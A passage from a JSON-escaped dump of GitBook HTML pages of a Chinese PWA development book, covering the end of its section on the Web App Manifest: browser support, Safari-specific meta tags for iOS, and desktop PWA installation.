src=\"img/manifest-mobile-dev.jpg\" alt=\"&#x624B;&#x673A;&#x8C03;&#x8BD5; manifest\"></p>\n<h2 id=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\"><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\" class=\"plugin-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;</h2>\n<p>Web App Manifest &#x4ECD;&#x7136;&#x5904;&#x4E8E; W3C &#x7684;&#x8349;&#x6848;&#x9636;&#x6BB5;&#xFF0C;&#x4F46;&#x662F; Chrome&#x3001;&#x624B;&#x673A;&#x767E;&#x5EA6;&#x3001;&#x5C0F;&#x7C73;&#x7B49;&#x6D4F;&#x89C8;&#x5668;&#x5DF2;&#x7ECF;&#x652F;&#x6301;&#x4E86;&#x8FD9;&#x9879;&#x6807;&#x51C6;&#x3002;&#x867D;&#x7136; iOS 11.3/ Safari 11.1 &#x5BA3;&#x5E03;&#x652F;&#x6301;&#x4E86; Web App Manifest &#xFF0C;&#x4F46;&#x662F;&#x6839;&#x636E;&#x5B9E;&#x9645;&#x7684;&#x6D4B;&#x8BD5;&#xFF0C;&#x76EE;&#x524D;&#x53EA;&#x6709;&#x90E8;&#x5206;&#x5C5E;&#x6027;&#x5F97;&#x5230;&#x4E86;&#x4E00;&#x5B9A;&#x7A0B;&#x5EA6;&#x7684;&#x652F;&#x6301;&#x3002;&#x4E0D;&#x8FC7;&#x503C;&#x5F97;&#x89C2;&#x5BDF;&#x7684;&#x662F;&#xFF0C;Apple &#x4E5F;&#x5728;&#x4E0D;&#x65AD;&#x6539;&#x8FDB; iOS &#x4E0B;&#x7684; PWA &#x4F53;&#x9A8C;&#xFF0C;&#x4F8B;&#x5982;&#x5728;&#x6700;&#x65B0;&#x7684; iOS 12.2 &#x7248;&#x672C;&#x4E2D;&#xFF0C;&#x5728;&#x5E94;&#x7528;&#x5207;&#x6362;&#x65F6;&#xFF0C;PWA &#x5E94;&#x7528;&#x4E0D;&#x4F1A;&#x88AB;&#x91CD;&#x65B0;&#x542F;&#x52A8;&#x5BFC;&#x81F4;&#x56DE;&#x5230;&#x9996;&#x9875;&#xFF0C;&#x6781;&#x5927;&#x4F18;&#x5316;&#x4E86; iOS &#x7CFB;&#x7EDF;&#x7684; PWA &#x4F53;&#x9A8C;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x5E0C;&#x671B;&#x4E3A; iOS &#x4E0A; PWA &#x7684;&#x542F;&#x52A8;&#x6548;&#x679C;&#x63D0;&#x4F9B;&#x66F4;&#x597D;&#x7684;&#x517C;&#x5BB9;&#x6027;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x4F7F;&#x7528; Safari &#x7684;&#x79C1;&#x6709; meta/link &#x5C5E;&#x6027;&#x6765;&#x914D;&#x7F6E;&#x684C;&#x9762;&#x56FE;&#x6807;&#x3001;&#x72B6;&#x6001;&#x680F;&#x989C;&#x8272;&#x7B49;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- &#x6307;&#x5B9A;&#x684C;&#x9762; icon --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>apple-touch-icon<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/img/apple-touch-icon-152x152.png<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token comment\">&lt;!-- &#x6307;&#x5B9A;&#x5E94;&#x7528;&#x540D;&#x79F0; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>apple-mobile-web-app-title<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>PWA Lesson<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token comment\">&lt;!-- &#x662F;&#x5426;&#x9690;&#x85CF; Safari &#x5730;&#x5740;&#x680F;&#x7B49;--&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>apple-mobile-web-app-capable<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>yes<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token comment\">&lt;!--&#x4FEE;&#x6539; iOS &#x72B6;&#x6001;&#x680F;&#x989C;&#x8272; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>apple-mobile-web-app-status-bar-style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>black<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h2 id=\"&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\"><a name=\"&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\" class=\"plugin-anchor\" href=\"#&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x684C;&#x9762; PWA &#x5B89;&#x88C5;</h2>\n<p>PC &#x684C;&#x9762;&#x7AEF;&#x5DF2;&#x7ECF;&#x5B9E;&#x73B0;&#x5BF9; PWA &#x5404;&#x9879;&#x6280;&#x672F;&#x7684;&#x652F;&#x6301;&#xFF0C;&#x90E8;&#x7F72; Web App Manifest &#x7684;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#xFF0C;&#x5728; PC &#x684C;&#x9762;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x50CF;&#x539F;&#x751F;&#x7CFB;&#x7EDF;&#x5E94;&#x7528;&#x4E00;&#x6837;&#x6DFB;&#x52A0;&#x81F3;&#x4E3B;&#x5C4F;&#x5E55;&#x3002;&#x800C;&#x5BF9;&#x4E8E;&#x79FB;&#x52A8;&#x7AEF;&#x7684;&#x5404;&#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x65B0;&#x7684;&#x5347;&#x7EA7;&#x4E5F;&#x4F9D;&#x7136;&#x9002;&#x7528;&#x4E8E;&#x684C;&#x9762; PWA &#x3002;&#x4F8B;&#x5982;&#x5728;&#x4E0B;&#x56FE;&#x4E2D;&#xFF0C;<code>theme_color</code> &#x5C06;&#x7528;&#x4E8E;&#x8BBE;&#x7F6E;&#x5E94;&#x7528;&#x7A97;&#x53E3;&#x72B6;&#x6001;&#x680F;&#x7684;&#x989C;&#x8272;&#x3002;&#x540C;&#x65F6;&#x5BF9;&#x4E8E;&#x7B26;&#x5408;&#x6761;&#x4EF6;&#x7684;&#x5E94;&#x7528;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E5F;&#x4F1A;&#x5728;&#x5408;&#x9002;&#x7684;&#x65F6;&#x5019;&#x5F39;&#x51FA;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x3002;</p>\n<p><img src=\"img/desktop-pwa.jpg\" alt=\"&#x684C;&#x9762; PWA\"></p>\n<p>&#x684C;&#x9762; PWA &#x63D0;&#x4F9B;&#x4E86;&#x5F88;&#x5927;&#x7684;&#x60F3;&#x8C61;&#x7A7A;&#x95F4;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E0D;&#x9700;&#x8981;&#x4F9D;&#x8D56;&#x5F88;&#x591A; Device API &#x7684;&#x7CFB;&#x7EDF;&#x6765;&#x8BF4;&#xFF0C;&#x4F7F;&#x7528;&#x684C;&#x9762; PWA &#x975E;&#x5E38;&#x5408;&#x9002;&#xFF0C;&#x4F8B;&#x5982;&#x7BA1;&#x7406;&#x7CFB;&#x7EDF;&#x7B49;&#xFF0C;&#x517C;&#x5177; BS &#x67B6;&#x6784;&#x548C; CS &#x67B6;&#x6784;&#x7684;\b&#x4F18;&#x70B9;&#xFF0C;&#x800C;&#x4E14;&#x8FD8;&#x5927;&#x5927;&#x964D;&#x4F4E;&#x5F00;&#x53D1;&#x6210;&#x672C;&#xFF0C;&#x5728;&#x4E00;&#x5B9A;&#x7A0B;&#x5EA6;&#x4E0A;&#x53EF;&#x4EE5;&#x4EE3;&#x66FF; Electron &#x7B49;&#x6280;&#x672F;&#x4EA7;&#x54C1;&#xFF0C;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter06.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第6章 用户留存\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-credentials-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 6.2 凭证管理 API\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"6.1 Web 应用清单\",\"level\":\"1.7.1\",\"depth\":2,\"next\":{\"title\":\"6.2 凭证管理 API\",\"level\":\"1.7.2\",\"depth\":2,\"path\":\"chapter06/2-credentials-api.md\",\"ref\":\"chapter06/2-credentials-api.md\",\"articles\":[]},\"previous\":{\"title\":\"第6章 用户留存\",\"level\":\"1.7\",\"depth\":1,\"path\":\"chapter06.md\",\"ref\":\"chapter06.md\",\"articles\":[{\"title\":\"6.1 Web 应用清单\",\"level\":\"1.7.1\",\"depth\":2,\"path\":\"chapter06/1-manifest-json.md\",\"ref\":\"chapter06/1-manifest-json.md\",\"articles\":[]},{\"title\":\"6.2 凭证管理 API\",\"level\":\"1.7.2\",\"depth\":2,\"path\":\"chapter06/2-credentials-api.md\",\"ref\":\"chapter06/2-credentials-api.md\",\"articles\":[]},{\"title\":\"6.3 桌面通知\",\"level\":\"1.7.3\",\"depth\":2,\"path\":\"chapter06/3-notification-api.md\",\"ref\":\"chapter06/3-notification-api.md\",\"articles\":[]},{\"title\":\"6.4 网络推送\",\"level\":\"1.7.4\",\"depth\":2,\"path\":\"chapter06/4-web-push-api.md\",\"ref\":\"chapter06/4-web-push-api.md\",\"articles\":[]},{\"title\":\"6.5 Payment Request API\",\"level\":\"1.7.5\",\"depth\":2,\"path\":\"chapter06/5-payment-request-api.md\",\"ref\":\"chapter06/5-payment-request-api.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06/1-manifest-json.md\",\"mtime\":\"2019-06-19T10:37:42.261Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06/2-credentials-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>6.2 凭证管理 API · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-notification-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-manifest-json.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a 